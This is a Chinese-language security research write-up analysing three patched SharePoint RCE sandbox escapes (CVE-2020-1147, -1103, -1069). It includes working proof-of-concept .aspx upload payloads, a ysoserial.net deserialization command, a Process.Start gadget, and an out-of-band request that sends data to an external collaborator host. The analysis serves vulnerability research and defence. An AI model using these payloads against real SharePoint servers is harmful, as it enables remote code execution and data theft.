作者:青藤实验室
原文链接:https://mp.weixin.qq.com/s/Z2hDtlsu0zgKY8YWhDBS7g

SharePoint Rce 系列分析(一) 里我通过 CVE-2020-0974 展示了利用参数使用不当 bypass 沙箱; 在 SharePoint Rce 系列分析(二) 里通过 CVE-2020-1444 展示了利用服务端处理逻辑不当(TOCTOU) bypass 沙箱;

本文是这个系列的完结篇,将通过三个漏洞,展示如何从 SP 白名单入手挖掘突破口。

CVE-2020-1147:利用白名单类,通过 Asp.Net 处理 DataSet 反序列化不当实现 rce; CVE-2020-1103:利用读白名单类属性,通过白名单上的类公有属性与继承关系读子属性(read gadgets),直到能读 machineKey; CVE-2020-1069:利用写白名单类属性,通过白名单上的类公有属性与继承关系写子属性(write gadgets),直到能写用户上传网页文件的 VirtualPath(SP 通过 VirtualPath 判断网页文件来源);

我在之前的系列分析里介绍过 SP 的沙箱模型,把用户上传的网页文件称作被“阉割了一部分功能”。微软出于安全考虑,只允许用户上传的网页文件在实现 Server Control 时引用一部分类,这部分类定义在 web.config 中,简称 SP 白名单。至于 Server Control 是什么,按照我的理解,就是 Asp.Net 提供给开发者的一种前后端数据交互的方式,比如我可以在网页文件中引用服务端定义的类、方法,读写服务端的(公有)类(子)属性。

调试环境

Server2016
SP2016
dnSpy

背景知识

http out-of-band

在 SP 中,当无法直接从 http 响应中获取我想要的信息时,可以考虑 http out-of-band,具体通过 XmlUrlDataSourceSoapDataSource 实现,比如下面是 XmlUrlDataSource 的用法:

PUT /test.aspx HTTP/1.1

<WebPartPages:DataFormWebPart runat="server" Title="REST" DisplayName="REST" ID="rest">
        <DataSources>
            <SharePoint:XmlUrlDataSource runat="server" AuthType="None" HttpMethod="GET" SelectCommand="http://zrun0o589ksxz108ewi4134nqew7kw.burpcollaborator.net">
                <SelectParameters>
                    <WebPartPages:DataFormParameter Name="test1" ParameterKey="test2" PropertyName="ParameterValues" DefaultValue="xiaoc"/>      
                </SelectParameters>
            </SharePoint:XmlUrlDataSource>
       </DataSources>
</WebPartPages:DataFormWebPart>

dnslog 可以看到请求记录 -w629

read/write gadgets

SP 白名单定义在 web.config 的 SafeControl 项中 -w1240 通过类继承关系,可以像链一样迭代引用子属性来进行读(read gadgets)写(write gadgets)操作,比如:

// A is a white-list class
public class A {
    public B b;
}

public class B {
    public C c;
}

public class C {
    public D d;
}

我可以在上传网页文件中引用 A.b.c.d 进行读写操作。

读写是不同权限的操作,对目标属性的要求也不同,除了 gadgets 的起点需要在白名单中外。对于读操作,只要满足属性是 public 且符合继承关系就可读;对于写操作,除了上述要求,还需要满足 write gadgets 的终点(比如 A.b.c.d 中的 d)不能被 DesignerSerializationVisibility.Hidden 属性修饰。

gadgets 这种方法突破沙箱,是这个议题引用的漏洞列表中反复使用的一种方法,除了 .net,议题的后半部分展示了通过 gadgets 突破各种 java 表达式语言的沙箱。

CVE-2020-1147

CVE-2020-1147 的原理很直接,在修复该漏洞之前,如果用 DataSetDataTable 读攻击者完全可控的数据,攻击者可以构造 xml payload 通过反序列化(不是 VIEWSTATE 反序列化)实现 rce。关于这部分的原理、payload 生成步骤可以通过文末参考中的 mr_me 的博客了解详情。

再看这个漏洞,通过白名单类 ContactLinksSuggestionsMicroViewPopulateDataSetFromCache 方法,找到了 DataSet 反序列化的用法,这里直接用作者的原图 -w621 之后就是根据调用路径去构造满足要求的 payload。

利用漏洞需要发送两次请求。
1)上传 .aspx

PUT /1147.aspx HTTP/1.1
Content-Type: text/xml; charset=utf-8

<%@ Page Language="C#" %>
<%@ Register tagprefix="mst" namespace="Microsoft.SharePoint.Portal.WebControls" assembly="Microsoft.SharePoint.Portal, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>
<form id="form1" runat="server">
<mst:ContactLinksSuggestionsMicroView id="CLSMW1" runat="server" />
<asp:TextBox ID="__SUGGESTIONSCACHE__" runat="server"></asp:TextBox>
<asp:Button ID="Button1" runat="server" Text="Submit" />
</form>

在浏览器上显示是一个简单的输入框,第二个请求是在这个输入框里提交 payload -w436

2)向 1147.aspx 提交包含 payload 的 postback 请求 构造 payload 也可以分为两步,首先借助 ysoserial.net 生成反序列化 payload

ysoserial.exe -f BinaryFormatter -g DataSet -o base64 -c "calc" -t

构造包含反序列化 payload 的 xml -w1432 然后把整个 xml 在 1147.aspx 的输入框中提交就可以看到 calc 进程启动。

CVE-2020-1147 的主要问题不是 ContactLinksSuggestionsMicroView 作为白名单类不合适,而是用 DataSet 反序列化时可以通过输入控制反序列化类型,这在反序列化(经常需要处理不可信数据)的使用场景中肯定是有问题的。因此在安装的了 CVE-2020-1147 的补丁后,DataSet 或者 DataTable 能够反序列化的类型被限制在了一个白名单中,详情可通过参考中的微软官方说明了解。

CVE-2020-1103

CVE-2020-1103 利用 read gadgets 实现 rce。在 SP 中,要说从任意读到 rce,很直观地会想到 MachineValidationKey。作者找到的能读 MachineValidationKey 的 read gadgets 是:

Web.Site.WebApplication.Farm.InitializationSettings[MachineValidationKey]

但是,默认按照安装向导安装的 SP 环境中这个值为空 -w772 参考 Nauplius/FarmLaunch 可以知道只有在安装 farm 之前将 unattend.txt 放到

C:\Program Files\Common Files\microsoft shared\Web Server Extensions\16\CONFIG\

目录下再安装 farm,SPFarm.InitializationSettings 才不为空。

所以我之后用会另一个属性来证明漏洞存在 -w302 对应的 read gadgets 就变成了

Web.Site.WebApplication.Farm.Id

首先执行表达式的地方是 DataBinder.Eval -w1392 参考 DataBinder.Eval Method 可以知道 text 可以写成 A.B.C[N].D 这样的表达式,用 text 表达式的执行结果可以获取 control2 对象的任何公有(级联)属性。

通过官方文档给出的用法示例 -w755 以及解释 -w794 可以知道用 ControlParameter 可以获取提前绑定好值的通知属性,再通俗点解释,就是(用类似 A.B.C[N].D 这样的表达式)可以获取任何 System.Web.UI.Control 子类对象的公有属性。

再看 ControlParameter#Evaluate 的参数流,很容易发现 DataBinder.Eval 的两个参数完全可控

string controlID = this.ControlID;
string text = this.PropertyName;
Control control2 = DataBoundControlHelper.FindControl(control, controlID);
object obj = DataBinder.Eval(control2, text);

分别对应 -w753-w180

(获取属性的)表达式的构造只需要满足两个条件即可:
1. 作为执行上下文的类必须继承自 System.Web.UI.Control
2. 获取的目标属性必须是 public,当然可以继承自父类

这里用逆推的方式解释比较好理解,首先SPFarm.InitializationSettings 里存储了 MachineValidationKey,我这里用的是 SPFarm.Id,接下来就是根据继承关系逆推调用链的过程,直到找到 System.Web.UI.Control 的子类:

// Microsoft.SharePoint.Administration.SPFarm
// SPPersistedObject -> SPPersistedUpgradableObject -> SPFarm
public Guid Id { get; set; }

// Microsoft.SharePoint.Administration.SPPersistedObject
// SPPersistedObject -> SPPersistedUpgradableObject -> SPWebApplication
public Microsoft.SharePoint.Administration.SPFarm Farm { get; }

// Microsoft.SharePoint.SPSite
public Microsoft.SharePoint.Administration.SPWebApplication WebApplication { get; }

// Microsoft.SharePoint.SPWeb
public Microsoft.SharePoint.SPSite Site { get; }

// Microsoft.SharePoint.WebControls.TemplateBasedControl
// Control -> SPControl -> TemplateBasedControl
public virtual Microsoft.SharePoint.SPWeb Web { get; }

下面是获取 Farm.Id 的 dnslog 截图,省略了 PUT 之后的 GET 请求 -w1626

CVE-2020-1069

回顾一下 filter 机制中如何区分受信与非受信 .aspx -w1107

可以看出 System.Web.UI.PageParserFilter.VirtualPath 在这里扮演了一个安全标志位的角色。

举个例子,比如 layouts 目录下系统自带的 .aspx 通过 /_layouts/15/xxx.aspx 这样的 path 去访问,而我们上传的 .aspx 比如 PUT /1069.aspx HTTP/1.1 则是直接通过 /1069.aspx 这样的 path 访问,服务端很容易区分,也就方便决定是否启用沙箱。可以设想,假如我把上传的 .aspx 的路径改成了 /_layouts/15/xxx.aspx,服务端在判断是否启用沙箱时就会把我当成文件系统上的 .aspx 而不是数据库中,这样我上传 .aspx 就不会有任何限制。

通过 VirtualPath 的定义可以发现它只有 getter 没有 setter

-w363 当请求上传的 .aspx 时,通过调试可以发现它的值在 Create Method 中完成了赋值 -w942 此时的部分调用堆栈 -w930 根据作者的介绍 VirtualPath 的值由 AppRelativeVirtualPath 决定,原因没有解释,我从 call stack 中直接唯一一个和 TemplateControl 有关的调用节点: -w913 这个过程基本上是直接的参数传递,所以很明显。

最后一个问题是如何改变 AppRelativeVirtualPath 的值。

先看看出问题的类 WikiContentWebpart 的整体结构: -w560

从继承关系可以看出一直到 object 都没有看到 TemplateControl,如果能通过 WikiContentWebpart 改变 AppRelativeVirtualPath,要么是继承,要么是 aop。从这里来看显然不是继承。顺着继承关系往上找,最终在 System.Web.UI.Control 中找到了 Page 属性: -w641 而 Page 是继承自 TemplateControl -w814 另外,Microsoft.SharePoint.WebPartPages.WikiContentWebpart先这个类在白名单中: -w1044

到这里总结一下上面的分析: 通过控制 WikiContentWebpart(白名单) -> 控制 Page 属性(WikiContentWebpart 继承自 control) -> 控制 Page 的 AppRelativeVirtualPath 属性(Page 继承自 TemplateControl) 最终获得控制 VirtualPath 的效果

利用仍然是两步,首先上传 payload

PUT /1069.aspx HTTP/1.1

<%@ Page Language="C#" %>
<head runat="server" />
<form id="f1" runat="server">
<asp:menu id="NavMenu1" runat="server">
<StaticItemTemplate>
<WebPartPages:WikiContentWebpart id="WikiWP1" runat="server" Page-AppRelativeVirtualPath='<%# Eval("ToolTip") %>'>
<content>
<asp:ObjectDataSource ID="DS1" runat="server" SelectMethod="Start" TypeName="system.diagnostics.Process" >
<SelectParameters>
<asp:Parameter Direction="input" Type="string" Name="fileName" DefaultValue="calc"/>
</SelectParameters>
</asp:ObjectDataSource>
<asp:ListBox ID="ListBox1" runat="server" DataSourceID= "DS1"/>
</content>
</WebPartPages:WikiContentWebpart>
</StaticItemTemplate>
<items>
<asp:menuitem text="MenuItem1" ToolTip="/_layouts/15/settings.aspx"/>
</items>
</asp:menu>
</form>

trigger rce -w436

参考

https://i.blackhat.com/USA-20/Wednesday/us-20-Munoz-Room-For-Escape-Scribbling-Outside-The-Lines-Of-Template-Security-wp.pdf

https://docs.microsoft.com/en-us/dotnet/api/system.componentmodel.designerserializationvisibilityattribute?view=net-5.0

https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/dataset-datatable-dataview/security-guidance

https://srcincite.io/blog/2020/07/20/sharepoint-and-pwn-remote-code-execution-against-sharepoint-server-abusing-dataset.html


Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1456/